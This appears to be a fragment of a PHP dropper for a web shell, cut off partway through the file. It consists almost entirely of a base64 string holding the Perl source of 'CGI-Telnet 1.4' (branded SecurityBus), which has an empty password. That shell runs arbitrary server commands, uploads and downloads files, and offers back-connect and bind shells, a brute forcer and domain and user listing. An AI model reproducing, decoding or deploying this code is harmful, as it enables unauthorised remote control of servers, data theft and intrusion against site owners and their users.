echo "<a href='./perl/security.bus'>Here security.bus</a><br>";
$fileencode1='IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iU2VjdXJpdHlCdXMiOw0KDQokUGFzc3dvcmQgPSAiIjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMNCgkJCQkjIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX1lbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJCSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxMzA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEVuY29kZURpcg0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsNCgkkZGlyID1+IHMvKFxyfFxuKS8vOw0KCXJldHVybiAkZGlyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkaWQgPSBgaWRgIGlmKCEkV2luTlQpOw0KCW15ICRpbmZvID0gYHVuYW1lIC1zIC1uIC1yIC1pYDsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQo8dGl0bGU+by0tLVsgJFZlcnNpb24gXTwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmZjsNCn0NCnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KfQ0KI2RvbWFpbiB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM0NDQ7DQp9DQp0ZCB7DQpjb2xvcjogIzJCQThFQzsNCn0NCi5saXN0ZGlyIHRkew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5saXN0ZGlyIHRoew0KCWNvbG9yOiAjRkY5OTAwOw0KfQ0KLmRpciwuZmlsZQ0Kew0KCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsNCn0NCi5kaXJ7DQoJZm9udC1zaXplOiAxMHB0OyANCglmb250LXdlaWdodDogYm9sZDsNCn0NCnRhYmxlIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQppbnB1dCB7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KY29kZSB7DQpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiB3aGlsZTsNCn0NCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KdGV4dGFyZWEgew0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIEVuY29kZXIobmFtZSkNCnsNCgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsNCgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQ0Kew0KCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOw0KfQ0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7DQoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPg0KCQk8Yj48Zm9udCBzaXplPSIzIj5vLS0tWyAgJEVkaXRQZXJzaW9uIF0tLS1vPC9mb250PjwvYj4NCgk8L3RkPg0KCTx0ZD4NCgkJJGluZm8NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNmZjk5MDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjZmY5OTAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiI+DQokaWQNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjRkZGRkZGIiA+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVu